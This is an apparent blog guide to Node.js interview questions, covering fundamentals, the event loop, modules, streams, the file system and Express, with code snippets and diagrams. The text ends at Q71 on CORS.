I have sat on both sides of the Node.js interview table over the last few years, as the person sweating through the questions and as the person asking them. Most lists you find online are either too shallow to be useful or so long that nobody actually reads them. This one tries to be different. Every answer is short and backed by code or a diagram where it helps.
I have grouped the 100 questions into the areas interviewers actually probe: fundamentals, the event loop, modules, streams, HTTP and Express, security, performance and the usual testing and debugging round. Skim the headers, jump to what you are weak on and come back to the rest.
A quick note on how to use this. Reading answers is not the same as being able to explain them out loud. After each section, try closing the page and saying the answer in your own words. That gap between recognising and explaining is exactly what an interview exposes.
Table of Contents
- Node.js Fundamentals (Q1 to Q15)
- Event Loop and Async (Q16 to Q35)
- Modules and Packaging (Q36 to Q45)
- Streams and Buffers (Q46 to Q55)
- File System and OS (Q56 to Q62)
- HTTP and Express (Q63 to Q78)
- Security (Q79 to Q86)
- Performance and Scaling (Q87 to Q94)
- Testing, Debugging and Misc (Q95 to Q100)
Node.js Fundamentals
Q1. What is Node.js?
Node.js is a runtime that lets you run JavaScript outside the browser. It is built on Chrome’s V8 engine and uses an event driven, non-blocking I/O model. That model is the whole point: a single thread can handle thousands of concurrent connections because it never sits and waits on I/O. It hands the slow work off and keeps moving.
It is not a language and not a framework. It is the environment your server side JavaScript runs in.
Q2. Is Node.js single-threaded?
Your JavaScript runs on a single thread, yes. But Node.js itself is not purely single-threaded. Under the hood, libuv maintains a thread pool (4 threads by default) for things like file system work, DNS lookups and some crypto operations. So your code is single-threaded, the runtime around it is not.
The piece that makes one thread feel like many is the event loop. When your single thread hits an async operation, it does not wait. It hands the work off (to the OS or the thread pool), registers a callback and immediately moves on to the next line. The event loop then keeps checking for finished work and runs the matching callback when the thread is free. That offload-and-continue cycle is how one thread serves thousands of concurrent requests without ever blocking.
┌──────────────────────────────┐
incoming ──► │ Single thread (your JS) │
requests │ runs code, never waits │
└───────────────┬──────────────┘
│ async work offloaded
▼
┌──────────────────────────────┐
│ Event loop │
│ checks: is any work done? │
└───────┬───────────────┬──────┘
│ │
done? run │ │ still busy
callback ▼ ▼
┌──────────────┐ ┌──────────────────┐
│ OS async │ │ libuv thread │
│ I/O (network)│ │ pool (files,DNS)│
└──────────────┘ └──────────────────┘
So the honest one-liner is: one thread for your code, an event loop and a small thread pool behind it for the waiting. That is what lets a single thread stay non-blocking.
This is the question where candidates either show they understand the architecture or reveal they have only read headlines.
Q3. What is the V8 engine?
V8 is Google’s open source JavaScript engine, written in C++ and used in Chrome. It compiles JavaScript directly to machine code instead of interpreting it, which is why Node.js is fast. Node.js embeds V8 to execute your code and adds the APIs that V8 alone does not provide, like file access and networking.
Q4. How is Node.js different from JavaScript in the browser?
Same language, different toolbox. The browser gives you window, document and DOM APIs but sandboxes you away from the file system. Node.js gives you process, Buffer, require, file and network access but has no DOM. Browser JS deals with user interfaces. Node.js deals with servers, tooling and I/O.
Q5. What is npm?
npm is the default package manager for Node.js. It does three jobs: it hosts the public registry of packages, it installs and manages your project dependencies and it runs scripts defined in package.json. When people say “npm” they sometimes mean the CLI and sometimes the registry, so context matters.
Q6. CommonJS vs ES Modules?
CommonJS is the original Node.js module system. ES Modules (ESM = ECMAScript) is the standard that browsers and modern Node.js both support.
// CommonJS
const fs = require('fs');
module.exports = myFunction;
// ES Modules
import fs from 'fs';
export default myFunction;
The practical differences: CommonJS loads synchronously and resolves at runtime, ESM loads asynchronously and resolves statically (which enables tree shaking).
In ESM, all import statements are read and resolved before any code runs. Node.js (or the bundler) knows the full dependency graph at parse time, not at runtime.
// ESM - imports must be at the top, cannot be conditional
import { add } from './math.js';
You cannot do this in ESM:
// this is illegal in ESM
if (condition) {
import { add } from './math.js'; // ❌ syntax error
}
In CommonJS, require is just a function call. It resolves at runtime, wherever and whenever it is called:
// CommonJS - totally fine
if (condition) {
const { add } = require('./math'); // ✓ works
}
// can even build the path dynamically
const mod = require(`./plugins/${name}`); // ✓ works
ESM trades that flexibility for predictability. The bundler always knows exactly what is imported before touching any code.
Tree shaking means removing code you imported but never used before shipping to production.
Because ESM is static, a bundler like Webpack or Rollup can analyse your imports at build time and know exactly which exports are actually used.
Say you have a utility library:
// utils.js —> 3 exports
export function add(a, b) { return a + b; }
export function subtract(a, b) { return a - b; }
export function multiply(a, b) { return a * b; }
You only import one:
import { add } from './utils.js';
The bundler sees statically that subtract and multiply are never imported anywhere. It removes them from the final bundle entirely.
Why CommonJS cannot do this?
With require, the bundler cannot know what you will use until the code actually runs:
// CommonJS
const utils = require('./utils');
// bundler has no idea which properties will be used
// so it has to include everything
utils[dynamicName]();
The whole module gets bundled. Tree shaking is impossible because the dependency graph is only known at runtime.
Why it matters in practice
A real world example is importing from lodash:
// CommonJS style —> entire lodash bundled (~70kb)
const _ = require('lodash');
_.debounce(fn, 300);
// ESM style —> only debounce bundled (~2kb)
import { debounce } from 'lodash-es';
debounce(fn, 300);
That difference compounds across a large app.
Tree shaking is the reason modern frontend builds stay lean despite using large libraries.
You opt into ESM with "type": "module" in package.json or by using the .mjs extension.
Mixing the two in one project is where most of the pain comes from.
Q7. What is package.json?
It is the manifest for your project. It records the name, version, entry point, scripts, dependencies and metadata. Anyone who clones your repo can run npm install and reproduce your environment from this one file. If you only memorise one file’s structure for an interview, make it this one.
Q8. dependencies vs devDependencies?
dependencies are packages your app needs to run in production, like Express or a database driver. devDependencies are packages you only need during development, like test runners, linters and build tools. You install dev ones with npm install --save-dev. In a production install (npm install --omit=dev), the dev set is skipped, which keeps your deployment lean.
Q9. What is package-lock.json and why does it matter?
package.json can specify a range like ^4.18.0, which means “any compatible 4.x”. That flexibility is dangerous because two installs on different days can pull different versions. package-lock.json pins the exact version of every package and every nested dependency, so every install is identical. Commit it. The number of “works on my machine” bugs it prevents is hard to overstate.
Q10. What is the global object in Node.js?
In the browser it is window. In Node.js it is global.
It holds things available everywhere without importing, like setTimeout, console and process.
Modern code often uses globalThis, which works in both environments. A good habit is to avoid attaching your own state to it, since global state is a debugging trap.
Q11. What is the process object?
process is a global that gives you information about and control over the current Node.js process. You will reach for it constantly:
process.env.NODE_ENV; // environment variables
process.argv; // command line arguments
process.cwd(); // current working directory
process.exit(1); // exit with a code
process.on('SIGTERM', fn); // listen for OS signals
Q12. What are __dirname and __filename?
__dirname is the absolute path of the directory holding the current file.
__filename is the absolute path of the file itself.
They make path resolution reliable no matter where the process was started from. Note that in ES Modules they are not defined and you reconstruct them from import.meta.url.
Q13. What is the REPL?
REPL stands for Read, Eval, Print, Loop. It is the interactive shell Node.js gives you when you type node in your terminal with no arguments.
Each letter describes one step in the cycle:
- Loop – loops back and waits for the next input
- Read – reads the input you type
- Eval – evaluates (executes) it
- Print – prints the result
$ node
Welcome to Node.js v20.11.0.
> 2 + 2
4
> 'hello'.toUpperCase()
'HELLO'
> [1, 2, 3].map(x => x * 2)
[ 2, 4, 6 ]
>
Q14. How does require() actually work?
When you call require, Node.js runs through a sequence:
it resolves the path, checks its module cache, loads and wraps the file in a function, executes it then caches and returns module.exports.
The wrapping is the part people forget. Every module is wrapped like this before running:
(function (exports, require, module, __filename, __dirname) {
// your module code lives here
});
- Resolve → find the exact file path (core module, relative path or walk up
node_modules) - Cache check → if already loaded, return
module.exportsimmediately, skip everything else - Load → read the file from disk (
.js,.jsonor.node) - Wrap → wrap the source in a function that injects
exports,require,module,__filename,__dirname - Execute and cache → run the wrapped function, store the result in
require.cacheand returnmodule.exports
require('./math')
│
▼
┌─────────────────┐
│ 1. Resolve │ find exact file path
└────────┬────────┘
│
▼
┌─────────────────┐ cache hit?
│ 2. Cache check │ ──────────────────► return module.exports immediately
└────────┬────────┘
│ cache miss
▼
┌─────────────────┐
│ 3. Load │ read file from disk
└────────┬────────┘
│
▼
┌─────────────────┐
│ 4. Wrap │ inject exports, require, module, __filename, __dirname
└────────┬────────┘
│
▼
┌─────────────────┐
│ 5. Execute │ run the wrapped function
│ + Cache │ store result in require.cache
└────────┬────────┘
│
▼
module.exports
returned to caller
That wrapper is why require, module and __dirname are available in every file without importing them.
Q15. module.exports vs exports?
exports starts as a reference to module.exports.
You can add properties to exports and they show up on module.exports because they point at the same object. But the moment you reassign exports to something new, you break that link and export nothing.
When a module loads, Node sets this up internally:
const module = { exports: {} };
const exports = module.exports; // exports points at the same object
Adding properties → works fine, Reassigning exports → silently breaks
exports.foo = 1; // works, foo is exported, added properties
module.exports = { foo: 1 }; // works, added properties
exports = { foo: 1 }; // does NOT work,link is broken - reassigned to exports
The simple rule to remember:
| Scenario | Use |
|---|---|
| Exporting multiple named things | exports.foo = ... |
| Exporting a single function, class or object | module.exports = ... |
| Never use | exports = ... |
Rule of thumb: use module.exports when you want to export a single thing and stop worrying about exports.
Event Loop and Async
Q16. What is the event loop?
The event loop is the mechanism that lets single-threaded Node.js perform non-blocking I/O.
When your code starts an async operation, Node.js offloads it (to the OS or the libuv thread pool) and registers a callback. The event loop continuously checks whether any of those operations have finished and, if so, runs their callbacks. That constant checking and dispatching is the loop.
Here is the high level picture:
┌───────────────────────────┐
│ Your JS (V8) │
│ call stack runs code │
└─────────────┬─────────────┘
│ async work offloaded
▼
┌───────────────────────────┐
│ libuv │
│ event loop + thread pool │
│ (file I/O, DNS, timers) │
└─────────────┬─────────────┘
│ callback ready
▼
┌───────────────────────────┐
│ Callback / task queues │
│ loop pushes them back │
│ onto the call stack │
└───────────────────────────┘
Q17. What are the phases of the event loop?
Each iteration (a “tick”) of the loop moves through ordered phases. Each phase has its own callback queue.
┌─────────────────────────────────┐
┌─►│ 1. Timers │ setTimeout, setInterval
│ └────────────────┬────────────────┘
│ microtasks drained
│ ┌────────────────▼────────────────┐
│ │ 2. Pending Callbacks │ deferred I/O errors(System/TCP/UDP err)
│ └────────────────┬────────────────┘
│ microtasks drained
│ ┌────────────────▼────────────────┐
│ │ 3. Idle, Prepare │ internal only
│ └────────────────┬────────────────┘
│ microtasks drained
│ ┌────────────────▼────────────────┐
│ │ 4. Poll │ ← most I/O runs here
│ │ wait for I/O, run I/O callbacks│
│ └────────────────┬────────────────┘
│ microtasks drained
│ ┌────────────────▼────────────────┐
│ │ 5. Check │ setImmediate
│ └────────────────┬────────────────┘
│ microtasks drained
│ ┌────────────────▼────────────────┐
└──┤ 6. Close Callbacks │ socket.on('close')
└─────────────────────────────────┘
─── between every phase ───────────
process.nextTick queue (runs first) - Priority 1
Promise microtask queue (runs after) - Priority 2
Between every phase, Node.js drains the microtask queues (process.nextTick first, then promises). The phases you get asked about most are timers, poll and check.
A real example:
const fs = require('fs');
console.log('1. start');
setTimeout(() => console.log('2. timer'), 0);
fs.readFile(__filename, () => {
console.log('4. file read done');
setImmediate(() => console.log('5. immediate'));
});
Promise.resolve().then(() => console.log('3. promise'));
console.log('6. end');
Output:
1. start
6. end
3. promise
2. timer
4. file read done
5. immediate
What actually happened, step by step:
Sync code runs first, the event loop has not started yet:
console.log('1. start')runssetTimeoutis registered, timer starts countingfs.readFileis handed off to the OS and Node does not wait- Promise is queued in the microtask queue
console.log('6. end')runs
Call stack is now empty, event loop kicks in:
- Microtask queue drains first → prints
3. promise - Loop reaches Timers phase →
setTimeoutdelay expired → prints2. timer - Loop reaches Poll phase → file read is done → prints
4. file read done - Inside that callback,
setImmediateis registered - Loop moves to Check phase → prints
5. immediate
So when do you actually use these in real code?
setTimeout(fn, 0) → when you want to defer something until after the current synchronous work finishes but do not care much about exact timing
// let the response send first, then do cleanup
res.send('done');
setTimeout(() => cleanupSession(id), 0);
setImmediate → when you are already inside an I/O callback and want to defer more work until after the poll phase, without waiting for a timer
fs.readFile('data.json', (err, data) => {
process(data); // do the heavy part
setImmediate(() => notifyOthers()); // defer the notification
});
process.nextTick → when you need something to run before any I/O or timers, right after the current operation.
Common in libraries when you want a callback to always be async even if the result is already available
function getData(id, callback) {
if (cache[id]) {
process.nextTick(() => callback(null, cache[id])); // always async
return;
}
db.fetch(id, callback);
}
Without nextTick here, the callback fires synchronously when data is cached and asynchronously when it is not, inconsistent behaviour that causes subtle bugs.
Q18. What is libuv?
libuv is the C library that gives Node.js its event loop and its asynchronous I/O.
It abstracts away the differences between operating systems (epoll on Linux, kqueue on macOS, IOCP on Windows) so Node.js behaves consistently everywhere. It also provides the thread pool. If V8 is the part that runs your JavaScript, libuv is the part that handles waiting.
Q19. What is the libuv thread pool?
It is a small pool of worker threads (4 by default, configurable via UV_THREADPOOL_SIZE) that handle operations the OS cannot do asynchronously on its own.
File system operations, DNS lookups with dns.lookup and crypto functions like pbkdf2 use it.
Network I/O does not because the OS already handles sockets asynchronously.
This is why a burst of file reads can saturate the pool while network calls scale much further.
Q20. setImmediate vs setTimeout?
setImmediate runs its callback in the check phase, right after the poll phase finishes. setTimeout(fn, 0) runs in the timers phase on the next tick. When both are called from the main module, the order is not guaranteed because it depends on process timing. But when both are called inside an I/O callback, setImmediate always fires first.
const fs = require('fs');
fs.readFile(__filename, () => {
setTimeout(() => console.log('timeout'), 0);
setImmediate(() => console.log('immediate'));
});
// Always prints: immediate, then timeout
Q21. What is process.nextTick()?
process.nextTick schedules a callback to run immediately after the current operation completes, before the event loop continues to the next phase. It jumps the queue ahead of promises and ahead of every loop phase. That power is also its danger: recursive nextTick calls can starve the event loop and stop I/O from ever running. Use it carefully.
Q22. Microtask queue vs macrotask queue?
Macrotasks are the big phase callbacks: timers, I/O, setImmediate.
Microtasks are process.nextTick and resolved promises.
The rule that matters: after each macrotask, Node.js drains the entire microtask queue before picking up the next macrotask. So a chain of .then() callbacks all run before the next setTimeout.
setTimeout(() => console.log('1 macrotask'), 0);
Promise.resolve().then(() => console.log('2 microtask'));
console.log('3 sync');
// Order: 3 sync, 2 microtask, 1 macrotask
Q23. What is a callback?
A callback is a function passed into another function to be called later, usually when an async operation finishes. It is the oldest async pattern in Node.js.
The convention is “error first”: the callback’s first argument is an error (or null) and the result follows.
fs.readFile('file.txt', (err, data) => {
if (err) return console.error(err);
console.log(data.toString());
});
Q24. What is callback hell and how do you avoid it?
Callback hell is the deeply nested, rightward drifting pyramid you get when callbacks depend on each other.
getUser(id, (err, user) => {
getOrders(user, (err, orders) => {
getDetails(orders, (err, details) => {
// three levels deep and climbing
});
});
});
You avoid it by using Promises with .then() chains or better, async/await, which flattens the whole thing into readable sequential code.
Q25. What are Promises?
A Promise represents the eventual result of an async operation.
It exists in one of three states: pending, fulfilled or rejected.
Once it settles it cannot change. Promises are chainable, so you can compose async steps without nesting.
fetchUser(id)
.then(user => fetchOrders(user))
.then(orders => console.log(orders))
.catch(err => console.error(err));
Q26. What is async/await?
async/await is syntactic sugar over Promises.
An async function always returns a Promise and await pauses the function until a Promise settles without blocking the thread.
It lets you write async code that reads top to bottom like synchronous code.
async function loadDashboard(id) {
const user = await fetchUser(id);
const orders = await fetchOrders(user);
return { user, orders };
}
Q27. Promise.all vs race vs allSettled vs any?
These are how you coordinate multiple Promises.
Promise.all waits for every Promise and rejects as soon as any one rejects.
Promise.allSettled waits for every Promise and never rejects, giving you a status for each.
Promise.race settles as soon as the first Promise settles, fulfilled or rejected.
Promise.any resolves with the first fulfilled Promise and only rejects if all of them reject.
// run independent calls in parallel, fail fast
const [a, b] = await Promise.all([fetchA(), fetchB()]);
// run in parallel, never throw, inspect each result
const results = await Promise.allSettled([fetchA(), fetchB()]);
Q28. How do you handle errors in async/await?
Wrap the awaited calls in try/catch. A rejected Promise becomes a thrown error inside an async function, so a normal catch block handles it.
async function load() {
try {
const data = await fetchData();
return data;
} catch (err) {
console.error('fetch failed', err);
throw err; // rethrow if the caller needs to know
}
}
For multiple independent calls, catch around the whole Promise.all or use allSettled so one failure does not lose the others.
Q29. Blocking vs non-blocking?
Blocking code stops the thread until it finishes, so nothing else runs in the meantime.
Non-blocking code starts the work and returns immediately, letting other code run while it waits.
In Node.js the synchronous fs methods (readFileSync) block and the async ones do not. On a server, one blocking call can freeze every other request, which is why you avoid sync methods in request handlers.
Q30. CPU bound vs I/O bound work?
I/O bound work spends its time waiting on external resources: disk, network, database. Node.js is excellent at this because waiting does not occupy the thread.
CPU bound work spends its time computing: image processing, encryption, large loops. Node.js struggles here because that work occupies the single thread and blocks everything else.
Knowing which kind of work you have decides how you scale.
Q31. How do you handle CPU intensive tasks in Node.js?
You get the work off the main thread. Options, roughly in order of preference: offload to a worker_threads worker, spawn a separate process with child_process, break the work into chunks that yield back to the event loop or move the heavy computation out to a dedicated service entirely. The goal is always the same, which is to keep the main thread free to handle requests.
Q32. What are worker threads?
worker_threads lets you run JavaScript on real OS threads inside the same process, sharing memory when needed.
It is the right tool for CPU bound work because each worker has its own event loop and V8 instance, so heavy computation does not block the main thread.
const { Worker } = require('worker_threads');
// import Worker class to spawn threads
const worker = new Worker('./heavy-task.js');
// spawn a new thread running heavy-task.js
worker.on('message', result => console.log(result));
// listen for result sent back from the worker
worker.postMessage({ start: 0, end: 1e9 });
// send input data to the worker to start processing
Q33. What is child_process?
child_process lets you spawn separate OS processes from your Node.js app to run shell commands, scripts or other programs entirely outside your main process.
Unlike worker threads which share the same process memory, child processes are fully isolated.
Separate memory, separate V8, separate everything. They communicate only through streams or messages.
exec runs a shell command, buffers the entire output, gives it to you when done. Use for short commands where you need the full output at once.
const { exec } = require('child_process');
exec('ls -la', (err, stdout, stderr) => {
if (err) return console.error(err);
console.log(stdout); // full output buffered in memory
});
⚠️ Avoid with untrusted input because it runs through a shell, so it is vulnerable to shell injection.
execFile is same as exec but runs a file directly without a shell. Safer for user input, slightly more performant.
const { execFile } = require('child_process');
execFile('node', ['--version'], (err, stdout) => {
console.log(stdout); // v20.11.0
});
spawn launches a process and streams output back in real time. Use for long running processes or large output that should not be buffered in memory.
const { spawn } = require('child_process');
const proc = spawn('ping', ['google.com']);
proc.stdout.on('data', chunk => {
process.stdout.write(chunk); // streams output as it arrives
});
proc.on('close', code => {
console.log(`exited with code ${code}`);
});
fork is special case of spawn specifically for Node.js scripts. Sets up a built-in two-way message channel between parent and child, similar to worker threads but as a completely separate process.
// parent.js
const { fork } = require('child_process');
const child = fork('./worker.js');
child.send({ task: 'process', data: [1, 2, 3] }); // send message to child
child.on('message', result => {
console.log('result from child:', result);
});
// worker.js
process.on('message', ({ task, data }) => {
const result = data.map(x => x * 2);
process.send(result); // send result back to parent
});
How they compare:
| Method | Shell | Output | Best for |
|---|---|---|---|
exec | yes | buffered | short shell commands |
execFile | no | buffered | safe file execution |
spawn | no | streamed | long running processes, large output |
fork | no | messages | separate Node.js scripts |
child_process vs worker_threads
child_process worker_threads
───────────────────────────── ─────────────────────────────
separate OS process same process, separate thread
separate memory can share memory (SharedArrayBuffer)
heavier to spin up lighter to spin up
can run any language/binary JavaScript only
communicate via streams/IPC communicate via postMessage
crash is fully isolated crash can affect main thread
Q34. What is the cluster module?
A single Node.js process uses one CPU core.
The cluster module lets you fork the process into multiple workers that share the same server port, so you can use all your cores.
The master process distributes incoming connections across the workers.
┌───────────────┐
│ Master │
│ (port 3000) │
└──────┬────────┘
┌──────────┼──────────┐
▼ ▼ ▼
┌────────┐ ┌────────┐ ┌────────┐
│Worker 1│ │Worker 2│ │Worker 3│
│ core 1 │ │ core 2 │ │ core 3 │
└────────┘ └────────┘ └────────┘
In practice most teams use a process manager like PM2 in cluster mode rather than wiring this by hand.
Q35. What is an EventEmitter?
EventEmitter is the class behind Node.js’s event driven model. Objects emit named events and other code listens for them. Streams, HTTP servers and many core modules are built on it.
const EventEmitter = require('events');
const emitter = new EventEmitter();
emitter.on('order', (id) => console.log('processing', id));
emitter.emit('order', 42); // logs: processing 42
It is the publish and subscribe pattern built into the runtime.
Modules and Packaging
Q36. What are core modules?
Core modules ship with Node.js and need no installation: fs, http, path, os, crypto, events, stream and others. You can require them by name. Newer Node.js versions also let you prefix them with node: (like require('node:fs')) to make it explicit that you mean the built in module and not a local file of the same name.
Q37. Local vs third party modules?
Local modules are files you write and require by relative path (require('./utils')).
Third party modules are packages installed from npm into node_modules and required by name (require('express')).
Core modules are the third category, built into the runtime.
Q38. What are circular dependencies and how does Node handle them?
A circular dependency is when module A requires B and B requires A. Node.js does not crash.
Because of caching, when B requires A mid-load, it gets whatever A has exported so far, which may be incomplete. That partial export is the bug.
The real fix is to restructure so the cycle does not exist, often by extracting the shared piece into a third module.
Q39. How does require caching work?
The first time you require a module, Node.js executes it and stores the result in require.cache, keyed by resolved file path.
Every later require of the same path returns the cached export without re-running the file. This is why a module that runs setup code at load time only runs it once and why singletons work.
You can delete entries from require.cache to force a reload, though that is rarely a good idea outside tooling.
Q40. How do you create your own module?
Write a file, attach what you want to share to module.exports and require it elsewhere.
// math.js
function add(a, b) { return a + b; }
module.exports = { add };
// app.js
const { add } = require('./math');
console.log(add(2, 3)); // 5
Q41. What is npx?
npx is a package runner that ships with npm. It lets you run a package’s binary without installing it first (not globally, not locally).
The problem it solves:
Before npx, to run a CLI tool you had two options, both annoying:
# option 1 —> install globally, pollutes your machine
npm install -g create-react-app
create-react-app my-app
# option 2 —> install locally, have to reference full path
npm install create-react-app
./node_modules/.bin/create-react-app my-app
With npx:
npx create-react-app my-app
That is it. No install step, no cleanup needed.
Common real world uses:
Scaffolding tools are one off commands you never need again after project setup
npx create-react-app my-app
npx create-next-app@latest
npx express-generator myapi
Running a specific version without affecting anything installed globally
npx node@18 --version # run a specific Node version
npx jest@27 --watch # test with an older Jest version
Running a local binary without the full path
# instead of ./node_modules/.bin/eslint
npx eslint src/
Quick utilities you do not want permanently installed
npx serve . # spin up a static file server
npx http-server . # another quick local server
npx kill-port 3000 # kill whatever is on port 3000
npm vs npx
npm | manages packages – installs, updates, removes |
npx | runs packages – fetches and executes without installing |
Q42. What is semantic versioning?
Semantic versioning (semver) is the MAJOR.MINOR.PATCH scheme.
MAJOR changes break backwards compatibility, MINOR adds features without breaking, PATCH fixes bugs without breaking.
The carets and tildes in package.json map to this: ^1.2.3 allows minor and patch updates, ~1.2.3 allows only patch updates and 1.2.3 pins exactly.
Q43. What are peerDependencies?
A peerDependency says “this package needs the host project to provide a compatible version of X, I will not bundle my own”. Plugins use it constantly.
An Express middleware or a React component library declares the framework as a peer dependency so you do not end up with two copies of React fighting each other.
Q44. What are npm scripts?
npm scripts are commands defined in the scripts field of package.json. They give your team a consistent vocabulary for common tasks.
{
"scripts": {
"start": "node server.js",
"dev": "nodemon server.js",
"test": "jest",
"build": "tsc"
}
}
start and test have shortcuts (npm start, npm test), everything else runs with npm run <name>.
Q45. What is a monorepo and how do you manage one in Node?
A monorepo is a single repository holding multiple related packages or services. You manage it with workspaces (npm, Yarn or pnpm all support them) or a tool like Turborepo or Nx.
The win is shared tooling and atomic cross package changes. The cost is more complex builds and the need for good caching, which is why the dedicated tools exist.
Streams and Buffers
Q46. What is a stream?
A stream is an abstraction for reading or writing data piece by piece instead of all at once.
Rather than loading a 2 GB file into memory, you process it in small chunks as they arrive.
Streams are how Node.js handles large data with a small memory footprint.
Q47. What are the types of streams?
There are four.
Readable streams are sources you read from, like a file read stream or an incoming HTTP request.
Writable streams are destinations you write to, like a file write stream or an HTTP response.
Duplex streams are both, like a TCP socket.
Transform streams are duplex streams that modify the data as it passes through, like gzip compression.
Q48. Why use streams instead of reading everything at once?
Memory and time. Reading a large file with readFile loads the whole thing into memory before you can touch it, which can crash the process and forces you to wait for the full read.
A stream starts giving you data immediately and never holds more than a chunk at a time. For a web server piping a video file to a client, streams are the difference between scaling and falling over.
Q49. What is a Buffer?
A Buffer is a fixed length chunk of raw binary data, stored outside V8’s heap.
JavaScript strings are for text but networking and file I/O deal in bytes and Buffer is how Node.js represents those bytes.
Stream chunks are Buffers by default.
const buf = Buffer.from('hello');
console.log(buf); // <Buffer 68 65 6c 6c 6f>
console.log(buf.toString()); // hello
Q50. What is backpressure?
Backpressure is what happens when a readable source produces data faster than a writable destination can consume it. Without handling it, data piles up in memory until the process runs out.
Streams handle it for you: write() returns false when the buffer is full, signalling the source to pause until a drain event says it is safe to resume. Using pipe handles this automatically, which is the main reason to prefer it.
Fast source ──────► [ buffer fills ] ──────► Slow sink
│
▼
write() returns false
│
▼
source pauses, waits for 'drain'
Q51. What does pipe() do?
pipe connects a readable stream to a writable stream and handles the data flow, including backpressure, for you.
const fs = require('fs');
fs.createReadStream('input.txt')
.pipe(fs.createWriteStream('output.txt'));
That one line reads a file and writes it out chunk by chunk, with constant low memory use, no matter how big the file is.
Q52. What are the two modes of a readable stream?
Paused mode and flowing mode.
In paused mode you explicitly pull data with .read().
In flowing mode data is pushed to you via data events as fast as it arrives.
Attaching a data listener or calling pipe switches the stream to flowing. Knowing the difference matters when you debug a stream that either never emits or emits too fast.
Q53. What is a Transform stream and when would you use one?
A Transform stream sits in the middle of a pipeline and modifies chunks as they pass through.
Compression, encryption, parsing and case conversion are all transform streams.
You implement one by extending Transform and defining _transform.
const { Transform } = require('stream');
const upper = new Transform({
transform(chunk, encoding, callback) {
callback(null, chunk.toString().toUpperCase());
}
});
process.stdin.pipe(upper).pipe(process.stdout);
Q54. What is stream.pipeline and why prefer it over pipe?
pipeline chains multiple streams together and propagates errors and cleans up all streams if any one fails.
Plain pipe does not forward errors, so a failure mid-chain can leak file descriptors.
pipeline is the modern, safe way to compose streams.
const { pipeline } = require('stream');
const fs = require('fs');
const zlib = require('zlib');
pipeline(
fs.createReadStream('input.txt'),
zlib.createGzip(),
fs.createWriteStream('input.txt.gz'),
(err) => { if (err) console.error('pipeline failed', err); }
);
Q55. How do you read a very large file without running out of memory?
Stream it. Create a read stream and process chunks as they come, never holding the whole file. For line by line work, use the readline module on top of the stream.
const fs = require('fs');
const readline = require('readline');
const rl = readline.createInterface({
input: fs.createReadStream('huge.log')
});
rl.on('line', (line) => {
// process one line at a time
});
File System and OS
Q56. fs synchronous vs asynchronous methods?
Most fs methods come in both flavours.
fs.readFile is async and takes a callback.
fs.readFileSync blocks until it finishes and returns the result.
Sync versions are fine in CLI scripts and at startup, but never inside a request handler on a server, because they freeze the entire event loop while they run.
Q57. What is fs.promises?
fs.promises is the Promise based version of the fs API, so you can use async/await instead of callbacks.
const fs = require('fs').promises;
async function read() {
const data = await fs.readFile('file.txt', 'utf8');
return data;
}
It is the cleanest way to do file I/O in modern Node.js.
Q58. What does the path module do?
The path module handles file path strings in a cross platform way. Windows uses backslashes and POSIX uses forward slashes and path smooths that over.
const path = require('path');
path.join(__dirname, 'data', 'file.txt'); // safe joining
path.resolve('a', 'b'); // absolute path
path.extname('photo.png'); // .png
path.basename('/a/b/c.txt'); // c.txt
Always build paths with path.join rather than string concatenation.
Q59. What does the os module give you?
The os module exposes information about the operating system and machine:
os.cpus() for core count, os.totalmem() and os.freemem() for memory, os.platform(), os.hostname() and os.networkInterfaces().
You use os.cpus().length when deciding how many cluster workers to spawn.
Q60. How do you handle environment variables?
Read them from process.env. For local development, keep them in a .env file and load it with the dotenv package, while in production you set them in the deploy environment.
require('dotenv').config();
const dbUrl = process.env.DATABASE_URL;
Never commit .env to source control. Secrets belong in the environment or a secrets manager, not in your repo.
Q61. How do you read the contents of a directory?
Use fs.readdir. Passing { withFileTypes: true } gives you Dirent objects so you can tell files from subdirectories without an extra stat call.
const fs = require('fs').promises;
const entries = await fs.readdir('./src', { withFileTypes: true });
for (const entry of entries) {
console.log(entry.name, entry.isDirectory() ? 'dir' : 'file');
}
Q62. How do you watch files for changes?
fs.watch notifies you when a file or directory changes, which is how tools like nodemon detect edits. It is efficient but its events can be inconsistent across platforms, so production grade tools often wrap it with a library like chokidar that smooths out the differences.
HTTP and Express
Q63. How do you create an HTTP server with the core http module?
No framework needed for a basic server.
const http = require('http');
const server = http.createServer((req, res) => {
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end('Hello World');
});
server.listen(3000, () => console.log('listening on 3000'));
Express and the rest are conveniences built on top of exactly this.
Q64. What is Express?
Express is a minimal, unopinionated web framework for Node.js.
It adds routing, middleware, request and response helpers and a plugin ecosystem on top of the core http module. It does not force a structure on you, which is both why it is popular and why every Express codebase looks different.
Q65. What is middleware?
Middleware is a function that sits in the request and response cycle with access to req, res and next.
It can run code, change the request or response, end the cycle or pass control onward by calling next().
Middleware is how Express handles logging, authentication, body parsing and error handling.
function logger(req, res, next) {
console.log(`${req.method} ${req.url}`);
next(); // pass to the next middleware
}
app.use(logger);
Q66. What are the types of middleware in Express?
There are five.
Application level middleware bound with app.use.
Router level middleware bound to a Router instance.
Built in middleware like express.json() and express.static().
Third party middleware like cors and helmet.
Error handling middleware which is special because it takes four arguments.
Q67. How does routing work in Express?
Routing maps an HTTP method and URL path to a handler.
You define routes with app.get, app.post and friends and group related ones with express.Router.
app.get('/users/:id', (req, res) => {
res.json({ id: req.params.id });
});
The :id is a route parameter, available on req.params.
Q68. How do you handle errors in Express?
Error handling middleware is defined with four arguments and Express recognises it by that signature. You register it last, after all routes.
app.use((err, req, res, next) => {
console.error(err.stack);
res.status(err.status || 500).json({ error: err.message });
});
In Express 4 you must pass async errors to next(err) yourself. Express 5 forwards rejected Promises automatically.
Q69. Explain the request and response cycle.
A request comes in and Express runs it through the middleware stack in order.
Each middleware either ends the response or calls next() to continue. Once a route handler sends a response with res.send, res.json or res.end, the cycle is over.
If nothing sends a response and nothing calls next, the request hangs, which is a common bug.
Request ──► middleware 1 ──► middleware 2 ──► route handler ──► Response
│ next() │ next() │ res.send()
▼ ▼ ▼
(or end here) (or end here) (cycle ends)
Q70. How do you parse a request body?
In modern Express, use the built in parsers. There is no need for the old body-parser package anymore.
app.use(express.json()); // JSON bodies
app.use(express.urlencoded({ extended: true })); // form bodies
After this, the parsed body is on req.body.
Q71. What is CORS and how do you enable it?
CORS (Cross Origin Resource Sharing) is a browser security mechanism that blocks web pages from calling APIs on a different origin unless the server opts in with the right headers. If your frontend and API live on different domains, the browser will block requests until the API responds with permission. You enable it with the cors middleware.
const cors = require('cors');
app.use(cors({ origin: 'https://myapp.com' }));
